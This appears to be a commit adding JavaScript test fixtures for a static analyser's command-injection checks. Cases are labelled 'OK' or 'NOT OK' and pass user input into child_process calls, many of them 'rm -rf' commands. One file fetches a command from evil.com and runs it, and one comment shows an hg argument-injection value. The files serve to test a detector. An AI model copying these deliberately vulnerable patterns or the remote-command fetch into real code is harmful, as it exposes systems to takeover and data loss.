This commit is contained in:
Jean Helie 2022-12-16 17:34:58 +01:00
Родитель 13aaa22df5
Коммит f07984bab2
24 изменённых файлов: 1267 добавлений и 3 удалений

Просмотреть файл

@ -0,0 +1,95 @@
var cp = require("child_process"),
http = require('http'),
url = require('url');
var server = http.createServer(function(req, res) {
let cmd = url.parse(req.url, true).query.path;
cp.exec("foo"); // OK
cp.execSync("foo"); // OK
cp.execFile("foo"); // OK
cp.execFileSync("foo"); // OK
cp.spawn("foo"); // OK
cp.spawnSync("foo"); // OK
cp.fork("foo"); // OK
cp.exec(cmd); // NOT OK
cp.execSync(cmd); // NOT OK
cp.execFile(cmd); // NOT OK
cp.execFileSync(cmd); // NOT OK
cp.spawn(cmd); // NOT OK
cp.spawnSync(cmd); // NOT OK
cp.fork(cmd); // NOT OK
cp.exec("foo" + cmd + "bar"); // NOT OK
// These are technically NOT OK, but they are more likely as false positives
cp.exec("foo", {shell: cmd}); // OK
cp.exec("foo", {env: {PATH: cmd}}); // OK
cp.exec("foo", {cwd: cmd}); // OK
cp.exec("foo", {uid: cmd}); // OK
cp.exec("foo", {gid: cmd}); // OK
let sh, flag;
if (process.platform == 'win32')
sh = 'cmd.exe', flag = '/c';
else
sh = '/bin/sh', flag = '-c';
cp.spawn(sh, [ flag, cmd ]); // NOT OK
let args = [];
args[0] = "-c";
args[1] = cmd; // NOT OK
cp.execFile("/bin/bash", args);
let args = [];
args[0] = "-c";
args[1] = cmd; // NOT OK
run("sh", args);
let args = [];
args[0] = `-` + "c";
args[1] = cmd; // NOT OK
cp.execFile(`/bin` + "/bash", args);
cp.spawn('cmd.exe', ['/C', 'foo'].concat(["bar", cmd])); // NOT OK
cp.spawn('cmd.exe', ['/C', 'foo'].concat(cmd)); // NOT OK
let myArgs = [];
myArgs.push(`-` + "c");
myArgs.push(cmd);
cp.execFile(`/bin` + "/bash", args); // NOT OK - but no support for `[].push()` for indirect arguments [INCONSISTENCY]
});
function run(cmd, args) {
cp.spawn(cmd, args); // OK - the alert happens where `args` is build.
}
var util = require("util")
http.createServer(function(req, res) {
let cmd = url.parse(req.url, true).query.path;
util.promisify(cp.exec)(cmd); // NOT OK
});
const webpackDevServer = require('webpack-dev-server');
new webpackDevServer(compiler, {
before: function (app) {
app.use(function (req, res, next) {
cp.exec(req.query.fileName); // NOT OK
require("my-sub-lib").foo(req.query.fileName); // calls lib/subLib/index.js#foo
});
}
});
import Router from "koa-router";
const router = new Router();
router.get("/ping/:host", async (ctx) => {
cp.exec("ping " + ctx.params.host); // NOT OK
});

Просмотреть файл

@ -0,0 +1,21 @@
const cp = require('child_process'),
http = require('http'),
url = require('url');
function getShell() {
if (process.platform === 'win32') {
return { cmd: 'cmd', arg: '/C' }
} else {
return { cmd: 'sh', arg: '-c' }
}
}
function execSh(command, options) {
var shell = getShell()
return cp.spawn(shell.cmd, [shell.arg, command], options) // BAD
}
http.createServer(function (req, res) {
let cmd = url.parse(req.url, true).query.path;
execSh(cmd);
});

Просмотреть файл

@ -0,0 +1,16 @@
const cp = require('child_process'),
http = require('http'),
url = require('url');
function getShell() {
return "sh";
}
function execSh(command, options) {
return cp.spawn(getShell(), ["-c", command], options) // BAD
};
http.createServer(function (req, res) {
let cmd = url.parse(req.url, true).query.path;
execSh(cmd);
});

Просмотреть файл

@ -0,0 +1,20 @@
var exec = require('child_process').exec;
function asyncEach(arr, iterator) {
var i = 0;
(function iterate() {
iterator(arr[i++], function () {
if (i < arr.length)
process.nextTick(iterate);
});
})();
}
function execEach(commands) {
asyncEach(commands, (command) => exec(command)); // NOT OK
};
require('http').createServer(function(req, res) {
let cmd = require('url').parse(req.url, true).query.path;
execEach([cmd]);
});

Просмотреть файл

@ -0,0 +1,63 @@
var express = require('express');
var multer = require('multer');
var upload = multer({ dest: 'uploads/' });
var app = express();
var exec = require("child_process").exec;
app.post('/profile', upload.single('avatar'), function (req, res, next) {
exec("touch " + req.file.originalname); // NOT OK
});
app.post('/photos/upload', upload.array('photos', 12), function (req, res, next) {
req.files.forEach(file => {
exec("touch " + file.originalname); // NOT OK
})
});
var http = require('http');
var Busboy = require('busboy');
http.createServer(function (req, res) {
var busboy = new Busboy({ headers: req.headers });
busboy.on('file', function (fieldname, file, filename, encoding, mimetype) {
exec("touch " + filename); // NOT OK
});
req.pipe(busboy);
}).listen(8000);
const formidable = require('formidable');
app.post('/api/upload', (req, res, next) => {
let form = formidable({ multiples: true });
form.parse(req, (err, fields, files) => {
exec("touch " + fields.name); // NOT OK
});
let form2 = new formidable.IncomingForm();
form2.parse(req, (err, fields, files) => {
exec("touch " + fields.name); // NOT OK
});
});
var multiparty = require('multiparty');
var http = require('http');
http.createServer(function (req, res) {
// parse a file upload
var form = new multiparty.Form();
form.parse(req, function (err, fields, files) {
exec("touch " + fields.name); // NOT OK
});
var form2 = new multiparty.Form();
form2.on('part', function (part) { // / file / field
exec("touch " + part.filename); // NOT OK
});
form2.parse(req);
}).listen(8080);

Просмотреть файл

@ -0,0 +1,35 @@
var http = require("http"),
url = require("url");
var server = http.createServer(function (req, res) {
let cmd = url.parse(req.url, true).query.path;
require("cross-spawn").sync(cmd); // NOT OK
require("execa").shell(cmd); // NOT OK
require("execa").shellSync(cmd); // NOT OK
require("execa").stdout(cmd); // NOT OK
require("execa").stderr(cmd); // NOT OK
require("execa").sync(cmd); // NOT OK
require("cross-spawn")(cmd); // NOT OK
require("cross-spawn-async")(cmd); // NOT OK
require("exec")(cmd); // NOT OK
require("exec-async")(cmd); // NOT OK
require("execa")(cmd); // NOT OK
require("remote-exec")(target, cmd); // NOT OK
const ssh2 = require("ssh2");
new ssh2().exec(cmd); // NOT OK
new ssh2.Client().exec(cmd); // NOT OK
const SSH2Stream = require("ssh2-streams").SSH2Stream;
new SSH2Stream().exec(false, cmd); // NOT OK
require("execa").node(cmd); // NOT OK
require("foreground-child")(cmd); // NOT OK
const opener = require("opener");
opener("http://github.com/" + url.parse(req.url, true).query.user); // OK
opener("http://github.com", { command: cmd }); // NOT OK
});

Просмотреть файл

@ -0,0 +1,8 @@
let https = require("https"),
cp = require("child_process");
https.get("https://evil.com/getCommand", res =>
res.on("data", command => {
cp.execSync(command);
})
);

Просмотреть файл

@ -0,0 +1,147 @@
var cp = require("child_process");
(function() {
cp.exec(process.argv); // NOT OK (just weird)
cp.exec(process.argv[0]); // OK
cp.exec("cmd.sh " + process.argv[0]); // OK
cp.exec("cmd.sh " + process.argv[1]); // OK
cp.exec("cmd.sh " + process.argv[2]); // NOT OK
var args = process.argv.slice(2);
cp.execSync(args[0]); // NOT OK
cp.execSync("cmd.sh " + args[0]); // NOT OK
var fewerArgs = args.slice(1);
cp.execSync(fewerArgs[0]); // NOT OK
cp.execSync("cmd.sh " + fewerArgs[0]); // NOT OK
var arg0 = fewerArgs[0];
cp.execSync(arg0); // NOT OK
cp.execSync("cmd.sh " + arg0); // NOT OK
});
(function() {
const args = process.argv.slice(2);
const script = path.join(packageDir, 'app', 'index.js');
cp.execSync(`node ${script} ${args[0]} --option"`); // NOT OK
cp.execSync(`node ${script} ${args.join(' ')} --option"`); // NOT OK
});
cp.exec("cmd.sh " + require("get-them-args")().foo); // NOT OK
cp.exec("cmd.sh " + require("minimist")().foo); // OK - no args provided.
cp.exec("cmd.sh " + require("yargs").argv.foo); // NOT OK
cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK
(function () {
var args = require('yargs') // eslint-disable-line
.command('serve [port]', 'start the server', (yargs) => { })
.option('verbose', { foo: "bar" })
.argv
cp.exec("cmd.sh " + args); // NOT OK
cp.exec("cmd.sh " + require("yargs").array("foo").parse().foo); // NOT OK
});
(function () {
const {
argv: {
...args
},
} = require('yargs')
.usage('Usage: foo bar')
.command();
cp.exec("cmd.sh " + args); // NOT OK
var tainted1 = require('yargs').argv;
var tainted2 = require('yargs').parse()
const {taint1: {...taint1rest},taint2: {...taint2rest}} = {
taint1: tainted1,
taint2: tainted2
}
cp.exec("cmd.sh " + taint1rest); // NOT OK - has flow from tainted1
cp.exec("cmd.sh " + taint2rest); // NOT OK - has flow from tianted2
var {...taint3} = require('yargs').argv;
cp.exec("cmd.sh " + taint3); // NOT OK
var [...taint4] = require('yargs').argv;
cp.exec("cmd.sh " + taint4); // NOT OK
});
(function () {
const argv = process.argv.slice(2);
var minimist = require("minimist");
cp.exec("cmd.sh " + minimist(argv).foo); // NOT OK
var subarg = require('subarg');
cp.exec("cmd.sh " + subarg(process.argv.slice(2)).foo); // NOT OK
var yargsParser = require('yargs-parser');
cp.exec("cmd.sh " + yargsParser(process.argv.slice(2)).foo); // NOT OK
import args from 'args'
var flags = args.parse(process.argv);
cp.exec("cmd.sh " + flags.foo); // NOT OK
var flags = require('arg')({...spec});
cp.exec("cmd.sh " + flags.foo); // NOT OK
})
(function () {
const { ArgumentParser } = require('argparse');
const parser = new ArgumentParser({description: 'Argparse example'});
parser.add_argument('-f', '--foo', { help: 'foo bar' });
cp.exec("cmd.sh " + parser.parse_args().foo); // NOT OK
});
(function () {
const commandLineArgs = require('command-line-args');
const options = commandLineArgs(optionDefinitions);
cp.exec("cmd.sh " + options.foo); // NOT OK
});
(function () {
const meow = require('meow');
const cli = meow(`helpstring`, {flags: {...flags}});
cp.exec("cmd.sh " + cli.input[0]); // NOT OK
});
(function () {
var dashdash = require('dashdash');
var opts = dashdash.parse({options: options});
cp.exec("cmd.sh " + opts.foo); // NOT OK
var parser = dashdash.createParser({options: options});
var opts = parser.parse();
cp.exec("cmd.sh " + opts.foo); // NOT OK
});
(function () {
const { program } = require('commander');
program.version('0.0.1');
cp.exec("cmd.sh " + program.opts().pizzaType); // NOT OK
cp.exec("cmd.sh " + program.pizzaType); // NOT OK
});
(function () {
const { Command } = require('commander');
const program = new Command();
program.version('0.0.1');
cp.exec("cmd.sh " + program.opts().pizzaType); // NOT OK
cp.exec("cmd.sh " + program.pizzaType); // NOT OK
});

Просмотреть файл

@ -0,0 +1,53 @@
const express = require("express");
const app = express();
const { execFile } = require("child_process");
app.get("/", (req, res) => {
const remote = req.query.remote;
execFile("git", ["ls-remote", remote]); // NOT OK
execFile("git", ["fetch", remote]); // NOT OK
indirect("git", ["ls-remote", remote]); // NOT OK
const myArgs = req.query.args;
execFile("git", myArgs); // NOT OK
if (remote.startsWith("--")) {
execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it is very explicit that options that allowed here.
} else {
execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it's not an option
}
if (remote.startsWith("git@")) {
execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it's a git URL
} else {
execFile("git", ["ls-remote", remote, "HEAD"]); // NOT OK - unknown starting string
}
execFile("git", req.query.args); // NOT OK - unknown args
execFile("git", ["add", req.query.args]); // OK - git add is not a command that can be used to execute arbitrary code
execFile("git", ["add", req.query.remote].concat([otherargs()])); // OK - git add is not a command that can be used to execute arbitrary code
execFile("git", ["ls-remote", req.query.remote].concat(req.query.otherArgs)); // NOT OK - but not found [INCONSISTENCY]. It's hard to track through concat.
execFile("git", ["add", "fpp"].concat(req.query.notVulnerable)); // OK
// hg
execFile("hg", ["clone", req.query.remote]); // NOT OK
execFile("hg", ["whatever", req.query.remote]); // NOT OK - `--config=alias.whatever=touch pwned`
execFile("hg", req.query.args); // NOT OK - unknown args
execFile("hg", ["clone", "--", req.query.remote]); // OK
});
function indirect(cmd, args) {
execFile(cmd, args); // - OK - ish, the vulnerability not reported here
}
app.listen(3000, () => console.log("Example app listening on port 3000!"));

Просмотреть файл

@ -0,0 +1,13 @@
var cp = require('child_process'),
path = require('path'),
execa = require("execa");
(function() {
cp.execFileSync('rm', ['-rf', path.join(__dirname, "temp")]); // GOOD
cp.execSync('rm -rf ' + path.join(__dirname, "temp")); // BAD
execa.shell('rm -rf ' + path.join(__dirname, "temp")); // NOT OK
execa.shellSync('rm -rf ' + path.join(__dirname, "temp")); // NOT OK
const safe = "\"" + path.join(__dirname, "temp") + "\"";
execa.shellSync('rm -rf ' + safe); // OK
});

Просмотреть файл

@ -0,0 +1,7 @@
// is imported from lib.js
const cp = require("child_process");
module.exports.thisMethodIsImported = function (name) {
cp.exec("rm -rf " + name); // NOT OK
}

Просмотреть файл

@ -0,0 +1,547 @@
var cp = require("child_process")
module.exports = function (name) {
cp.exec("rm -rf " + name); // NOT OK
cp.execFile(name, [name]); // OK
cp.execFile(name, name); // OK
};
module.exports.foo = function (name) {
cp.exec("rm -rf " + name); // NOT OK
}
module.exports.foo.bar = function (name) {
cp.exec("rm -rf " + name); // NOT OK
}
function cla() { }
cla.prototype.method = function (name) {
cp.exec("rm -rf " + name); // NOT OK
}
module.exports = new cla();
function cla2() { }
cla2.prototype.method = function (name) {
cp.exec("rm -rf " + name); // NOT OK
}
module.exports.bla = new cla2();
module.exports.lib2 = require("./lib2.js")
class Cla3 {
constructor(name) {
cp.exec("rm -rf " + name); // NOT OK
}
static foo(name) {
cp.exec("rm -rf " + name); // NOT OK
}
bar(name) {
cp.exec("rm -rf " + name); // NOT OK
cp.exec("rm -rf " + notASource); // OK
}
}
module.exports.cla3 = Cla3;
module.exports.mz = function (name) {
require("mz/child_process").exec("rm -rf " + name); // NOT OK.
}
module.exports.flow = function (name) {
var cmd1 = "rm -rf " + name; // NOT OK.
cp.exec(cmd1);
var cmd2 = "rm -rf " + name; // NOT OK.
function myExec(cmd) {
cp.exec(cmd);
}
myExec(cmd2);
}
module.exports.stringConcat = function (name) {
cp.exec("rm -rf " + name); // NOT OK.
cp.exec(name); // OK.
cp.exec("for foo in (" + name + ") do bla end"); // OK.
cp.exec("cat /foO/BAR/" + name) // NOT OK.
cp.exec("cat \"" + name + "\"") // NOT OK.
cp.exec("cat '" + name + "'") // NOT OK.
cp.exec("cat '/foo/bar" + name + "'") // NOT OK.
cp.exec(name + " some file") // OK.
}
module.exports.arrays = function (name) {
cp.exec("rm -rf " + name); // NOT OK.
var args1 = ["node"];
args1.push(name); // NOT OK.
cp.exec(args1.join(" "));
cp.exec(["rm -rf", name].join(" ")); // NOT OK.
cp.exec(["rm -rf", "\"" + name + "\""].join(" ")); // NOT OK.
cp.execFile("rm", ["-rf", name]); // OK
}
var util = require("util");
module.exports.format = function (name) {
cp.exec(util.format("rm -rf %s", name)); // NOT OK
cp.exec(util.format("rm -rf '%s'", name)); // NOT OK
cp.exec(util.format("rm -rf '/foo/bar/%s'", name)); // NOT OK
cp.exec(util.format("%s foo/bar", name)); // OK
cp.exec(util.format("for foo in (%s) do bar end", name)); // OK
cp.exec(require("printf")('rm -rf %s', name)); // NOT OK
}
module.exports.valid = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (!isValidName(name)) {
return;
}
cp.exec("rm -rf " + name); // OK
}
module.exports.safe = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (!isSafeName(name)) {
return;
}
cp.exec("rm -rf " + name); // OK
}
class Cla4 {
wha(name) {
cp.exec("rm -rf " + name); // NOT OK
}
static bla(name) {
cp.exec("rm -rf " + name); // OK - not exported
}
constructor(name) {
cp.exec("rm -rf " + name); // OK - not exported
}
}
module.exports.cla4 = new Cla4();
function Cla5(name) {
cp.exec("rm -rf " + name); // OK - not exported
}
module.exports.cla5 = new Cla5();
module.exports.indirect = function (name) {
let cmd = "rm -rf " + name; // NOT OK
let sh = "sh";
let args = ["-c", cmd];
cp.spawn(sh, args, cb);
}
module.exports.indirect2 = function (name) {
let cmd = name;
let sh = "sh";
let args = ["-c", cmd];
cp.spawn(sh, args, cb); // OK
let cmd2 = "rm -rf " + name;
var args2 = [cmd2];
cp.spawn(
'cmd.exe',
['/C', editor].concat(args2),
{ stdio: 'inherit' }
);
}
module.exports.cmd = function (command, name) {
cp.exec("fo | " + command); // OK
cp.exec("fo | " + name); // NOT OK
}
module.exports.sanitizer = function (name) {
var sanitized = "'" + name.replace(/'/g, "'\\''") + "'"
cp.exec("rm -rf " + sanitized); // OK
var broken = "'" + name.replace(/'/g, "'\''") + "'"
cp.exec("rm -rf " + broken); // NOT OK
}
var path = require("path");
module.exports.guard = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (!path.exist(name)) {
cp.exec("rm -rf " + name); // NOT OK
return;
}
cp.exec("rm -rf " + name); // OK
}
module.exports.blacklistOfChars = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (/[^A-Za-z0-9_\/:=-]/.test(name)) {
cp.exec("rm -rf " + name); // NOT OK
} else {
cp.exec("rm -rf " + name); // OK
}
}
module.exports.whitelistOfChars = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (/^[A-Za-z0-9_\/:=-]$/.test(name)) {
cp.exec("rm -rf " + name); // OK
} else {
cp.exec("rm -rf " + name); // NOT OK
}
}
module.exports.blackList2 = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (!/^([a-zA-Z0-9]+))?$/.test(name)) {
cp.exec("rm -rf " + name); // NOT OK
process.exit(-1);
}
cp.exec("rm -rf " + name); // OK - but FP due to tracking flow through `process.exit()`. [INCONSISTENCY]
}
module.exports.accessSync = function (name) {
cp.exec("rm -rf " + name); // NOT OK
try {
path.accessSync(name);
} catch (e) {
return;
}
cp.exec("rm -rf " + name); // OK - but FP due to `path.accessSync` not being recognized as a sanitizer. [INCONSISTENCY]
}
var cleanInput = function (s) {
if (/[^A-Za-z0-9_\/:=-]/.test(s)) {
s = "'" + s.replace(/'/g, "'\\''") + "'";
s = s.replace(/^(?:'')+/g, '') // unduplicate single-quote at the beginning
.replace(/\\'''/g, "\\'"); // remove non-escaped single-quote if there are enclosed between 2 escaped
}
return s;
}
module.exports.goodSanitizer = function (name) {
cp.exec("rm -rf " + name); // NOT OK
var cleaned = cleanInput(name);
cp.exec("rm -rf " + cleaned); // OK
}
var fs = require("fs");
module.exports.guard2 = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (!fs.existsSync("prefix/" + name)) {
cp.exec("rm -rf prefix/" + name); // NOT OK
return;
}
cp.exec("rm -rf prefix/" + name); // OK
}
module.exports.sanitizerProperty = function (obj) {
cp.exec("rm -rf " + obj.version); // NOT OK
obj.version = "";
cp.exec("rm -rf " + obj.version); // OK
}
module.exports.Foo = class Foo {
start(opts) {
cp.exec("rm -rf " + opts.bla); // NOT OK
this.opts = {};
this.opts.bla = opts.bla
cp.exec("rm -rf " + this.opts.bla); // NOT OK
}
}
function sanitizeShellString(str) {
let result = str;
result = result.replace(/>/g, "");
result = result.replace(/</g, "");
result = result.replace(/\*/g, "");
result = result.replace(/\?/g, "");
result = result.replace(/\[/g, "");
result = result.replace(/\]/g, "");
result = result.replace(/\|/g, "");
result = result.replace(/\`/g, "");
result = result.replace(/$/g, "");
result = result.replace(/;/g, "");
result = result.replace(/&/g, "");
result = result.replace(/\)/g, "");
result = result.replace(/\(/g, "");
result = result.replace(/\$/g, "");
result = result.replace(/#/g, "");
result = result.replace(/\\/g, "");
result = result.replace(/\n/g, "");
return result
}
module.exports.sanitizer2 = function (name) {
cp.exec("rm -rf " + name); // NOT OK
var sanitized = sanitizeShellString(name);
cp.exec("rm -rf " + sanitized); // OK
}
module.exports.typeofcheck = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (typeof name === "undefined") {
cp.exec("rm -rf " + name); // OK
} else {
cp.exec("rm -rf " + name); // NOT OK
}
}
module.exports.typeofcheck = function (arg) {
var cmd = "MyWindowCommand | findstr /i /c:" + arg; // NOT OK
cp.exec(cmd);
}
function id(x) {
return x;
}
module.exports.id = id;
module.exports.unproblematic = function() {
cp.exec("rm -rf " + id("test")); // OK
};
module.exports.problematic = function(n) {
cp.exec("rm -rf " + id(n)); // NOT OK
};
module.exports.typeofNumber = function(n) {
if (typeof n === "number") {
cp.exec("rm -rf " + n); // OK
}
};
function boundProblem(safe, unsafe) {
cp.exec("rm -rf " + safe); // OK
cp.exec("rm -rf " + unsafe); // NOT OK
}
Object.defineProperty(module.exports, "boundProblem", {
get: function () {
return boundProblem.bind(this, "safe");
}
});
function MyTrainer(opts) {
this.learn_args = opts.learn_args
}
MyTrainer.prototype = {
train: function() {
var command = "learn " + this.learn_args + " " + model; // NOT OK
cp.exec(command);
}
};
module.exports.MyTrainer = MyTrainer;
function yetAnohterSanitizer(str) {
const s = str || '';
let result = '';
for (let i = 0; i <= 2000; i++) {
if (!(s[i] === undefined ||
s[i] === '>' ||
s[i] === '<' ||
s[i] === '*' ||
s[i] === '?' ||
s[i] === '[' ||
s[i] === ']' ||
s[i] === '|' ||
s[i] === '˚' ||
s[i] === '$' ||
s[i] === ';' ||
s[i] === '&' ||
s[i] === '(' ||
s[i] === ')' ||
s[i] === ']' ||
s[i] === '#' ||
s[i] === '\\' ||
s[i] === '\t' ||
s[i] === '\n' ||
s[i] === '\'' ||
s[i] === '`' ||
s[i] === '"')) {
result = result + s[i];
}
}
return result;
}
module.exports.sanitizer3 = function (name) {
cp.exec("rm -rf " + name); // NOT OK
var sanitized = yetAnohterSanitizer(name);
cp.exec("rm -rf " + sanitized); // OK
}
const cp = require("child_process");
const spawn = cp.spawn;
module.exports.shellOption = function (name) {
cp.exec("rm -rf " + name); // NOT OK
cp.execFile("rm", ["-rf", name], {shell: true}, (err, out) => {}); // NOT OK
cp.spawn("rm", ["-rf", name], {shell: true}); // NOT OK
cp.execFileSync("rm", ["-rf", name], {shell: true}); // NOT OK
cp.spawnSync("rm", ["-rf", name], {shell: true}); // NOT OK
const SPAWN_OPT = {shell: true};
spawn("rm", ["first", name], SPAWN_OPT); // NOT OK
var arr = [];
arr.push(name); // NOT OK
spawn("rm", arr, SPAWN_OPT);
spawn("rm", build("node", (name ? name + ':' : '') + '-'), SPAWN_OPT); // This is bad, but the alert location is down in `build`.
}
function build(first, last) {
var arr = [];
if (something() === 'gm')
arr.push('convert');
first && arr.push(first);
last && arr.push(last); // NOT OK
return arr;
};
var asyncExec = require("async-execute");
module.exports.asyncStuff = function (name) {
asyncExec("rm -rf " + name); // NOT OK
}
const myFuncs = {
myFunc: function (name) {
asyncExec("rm -rf " + name); // NOT OK
}
};
module.exports.blabity = {};
Object.defineProperties(
module.exports.blabity,
Object.assign(
{},
Object.entries(myFuncs).reduce(
(props, [ key, value ]) => Object.assign(
props,
{
[key]: {
value,
configurable: true,
},
},
),
{}
)
)
);
const path = require('path');
const {promisify} = require('util');
const exec = promisify(require('child_process').exec);
module.exports = function check(config) {
const cmd = path.join(config.installedPath, 'myBinary -v'); // NOT OK
return exec(cmd);
}
module.exports.splitConcat = function (name) {
let args = ' my name is ' + name; // NOT OK
let cmd = 'echo';
cp.exec(cmd + args);
}
module.exports.myCommand = function (myCommand) {
let cmd = `cd ${cwd} ; ${myCommand}`; // OK - the parameter name suggests that it is purposely a shell command.
cp.exec(cmd);
}
(function () {
var MyThing = {
cp: require('child_process')
};
module.exports.myIndirectThing = function (name) {
MyThing.cp.exec("rm -rf " + name); // NOT OK
}
});
var imp = require('./isImported');
for (var name in imp){
module.exports[name] = imp[name];
}
module.exports.sanitizer4 = function (name) {
cp.exec("rm -rf " + name); // NOT OK
if (isNaN(name)) {
cp.exec("rm -rf " + name); // NOT OK
} else {
cp.exec("rm -rf " + name); // OK
}
if (isNaN(parseInt(name))) {
cp.exec("rm -rf " + name); // NOT OK
} else {
cp.exec("rm -rf " + name); // OK
}
if (isNaN(+name)) {
cp.exec("rm -rf " + name); // NOT OK
} else {
cp.exec("rm -rf " + name); // OK
}
if (isNaN(parseInt(name, 10))) {
cp.exec("rm -rf " + name); // NOT OK
} else {
cp.exec("rm -rf " + name); // OK
}
if (isNaN(name - 0)) {
cp.exec("rm -rf " + name); // NOT OK
} else {
cp.exec("rm -rf " + name); // OK
}
if (isNaN(name | 0)) { // <- not a sanitizer
cp.exec("rm -rf " + name); // NOT OK
} else {
cp.exec("rm -rf " + name); // NOT OK
}
}

Просмотреть файл

@ -0,0 +1,9 @@
var cp = require("child_process")
module.exports = function (name) {
cp.exec("rm -rf " + name); // NOT OK - is imported from main module.
};
module.exports.foo = function (name) {
cp.exec("rm -rf " + name); // NOT OK - is imported from main module.
};

Просмотреть файл

@ -0,0 +1,5 @@
var cp = require("child_process")
module.exports = function (name) {
cp.exec("rm -rf " + name); // OK, is not exported to a main-module.
};

Просмотреть файл

@ -0,0 +1,6 @@
// this file is imported from `index.js`.
define(function (require) {
return {
amdSub: require("./amdSub"),
};
});

Просмотреть файл

@ -0,0 +1,5 @@
const cp = require("child_process");
module.exports = function (name) {
cp.exec("rm -rf " + name); // NOT OK - this function is exported from `amd.js`
};

Просмотреть файл

@ -0,0 +1,15 @@
var cp = require("child_process")
module.exports = function (name) {
cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
};
module.exports.foo = function (name) {
cp.exec("rm -rf " + name); // NOT OK - this is being called explicitly from child_process-test.js
};
module.exports.amd = require("./amd.js");
module.exports.arrToShell = function (cmd, arr) {
cp.spawn("echo", arr, {shell: true}); // NOT OK
}

Просмотреть файл

@ -0,0 +1,5 @@
var cp = require("child_process")
export default function (name) {
cp.exec("rm -rf " + name); // NOT OK - the "files" directory points to this file.
}

Просмотреть файл

@ -0,0 +1,5 @@
var cp = require("child_process")
module.exports = function (name) {
cp.exec("rm -rf " + name); // NOT OK - the "files" directory points to this file.
};

Просмотреть файл

@ -0,0 +1,5 @@
var cp = require("child_process")
module.exports = function (name) {
cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
};

Просмотреть файл

@ -0,0 +1,8 @@
const dispatch = {
GET: require("./bla"),
POST: require("./subsub"),
};
module.exports.foo = function (name, type) {
dispatch[type](name);
};

Просмотреть файл

@ -0,0 +1,5 @@
const cp = require("child_process")
module.exports = function (name) {
cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
};

Просмотреть файл

@ -0,0 +1,166 @@
var express = require('express');
var child_process = require('child_process');
var execSync = child_process.execSync;
var exec = child_process.exec;
var spawn = child_process.spawn;
var spawnSync = child_process.spawnSync;
var fs = require('fs');
var app = express();
exec("cat foo/bar", function (err, out) {}); // NOT OK
exec("cat /proc/" + id + "/status", function (err, out) { // NOT OK
console.log(out);
});
execSync('cat /proc/cpuinfo').toString(); // NOT OK.
execSync(`cat ${newpath}`) // NOT OK
execSync('cat package.json | wc -l'); // OK - pipes!
execSync('cat /proc/cpuinfo /foo/bar').toString(); // OK multiple files.
execSync(`cat ${newpath} /foo/bar`).toString(); // OK multiple files.
exec(`cat ${newpath} | grep foo`, function (err, out) { }) // OK - pipes
execSync(`cat ${newpath}`, {uid: 1000}) // OK - non trivial options
exec('cat *.js | wc -l', { cwd: './' }, function (err, out) { }); // OK - wildcard and pipes
execSync(`cat foo/bar/${newpath}`); // NOT OK ("encoding" is used EXACTLY the same way in fs.readFileSync)
execSync(`cat foo/bar/${newpath}`, {encoding: 'utf8'}); // NOT OK ("encoding" is used EXACTLY the same way in fs.readFileSync)
execSync("/bin/cat /proc/cpuinfo", { uid: 1000, gid: 1000, encoding: 'utf8'}); // OK (fs.readFileSync cannot emulate uid / gid))
execSync('cat /proc/cpuinfo > foo/bar/baz').toString(); // OK.
execSync(`cat ${newpath} > ${destpath}`).toString(); // OK.
execSync(`cat ${files.join(' ')} > ${outFile}`); // OK
execSync(`cat ${files.join(' ')}`); // OK - but flagged - not just a simple file read [INCONSISTENCY]
exec("cat /proc/cpuinfo | grep name"); // OK - pipes
execSync(`cat ${newpath} | ${othertool}`); // OK - pipes
function cat(file) {
return execSync('cat ' + file).toString(); // NOT OK
}
execSync("sh -c 'cat " + newpath + "'"); // NOT OK - but not flagged [INCONSISTENCY]
var execFile = child_process.execFile;
var execFileSync = child_process.execFileSync;
execFile('/bin/cat', [ 'pom.xml' ], function(error, stdout, stderr ) { // NOT OK
// Not using stderr
console.log(stdout);
});
execFile('/bin/cat', [ 'pom.xml' ], function(error, stdout, stderr ) { // OK. - stderr is used.
console.log(stderr);
});
execFile('/bin/cat', [ 'pom.xml' ], {encoding: 'utf8'}, function(error, stdout, stderr ) { // NOT OK
// Not using stderr
console.log(stdout);
});
execFileSync('/bin/cat', [ 'pom.xml' ], {encoding: 'utf8'}); // NOT OK
execFileSync('/bin/cat', [ 'pom.xml' ]); // NOT OK
var opts = {encoding: 'utf8'};
execFileSync('/bin/cat', [ 'pom.xml' ], opts); // NOT OK
var anOptsFileNameThatIsTooLongToBePrintedByToString = {encoding: 'utf8'};
execFileSync('/bin/cat', [ 'pom.xml' ], anOptsFileNameThatIsTooLongToBePrintedByToString); // NOT OK
execFileSync('/bin/cat', [ 'pom.xml' ], {encoding: 'someEncodingValueThatIsCompletelyBogusAndTooLongForToString'}); // NOT OK
execFileSync('/bin/cat', [ "foo/" + newPath + "bar" ], {encoding: 'utf8'}); // NOT OK
execSync('cat /proc/cpuinfo' + foo).toString(); // NOT OK.
execFileSync('/bin/cat', [ `foo/bar/${newpath}` ]); // NOT OK
execFileSync('node', [ `foo/bar/${newpath}` ]); // OK - not a call to cat
exec("cat foo/bar", function (err, out) {}); // NOT OK
exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
exec("cat foo/bar", (err, out) => doSomethingWith(out)); // NOT OK
execFileSync('/bin/cat', [ 'pom.xml' ], unknownOptions); // OK - unknown options.
exec("node foo/bar", (err, out) => doSomethingWith(out)); // OK - Not a call to cat
execFileSync('node', [ `cat` ]); // OK - not a call to cat
exec("cat foo/bar&", function (err, out) {}); // OK - contains &
exec("cat foo/bar,", function (err, out) {}); // OK - contains ,
exec("cat foo/bar$", function (err, out) {}); // OK - contains $
exec("cat foo/bar`", function (err, out) {}); // OK - contains `
spawn('cat', { stdio: ['pipe', stdin, 'inherit'] }); // OK - Non trivial use. (But weird API use.)
(function () {
const cat = spawn('cat', [filename]); // OK - non trivial use.
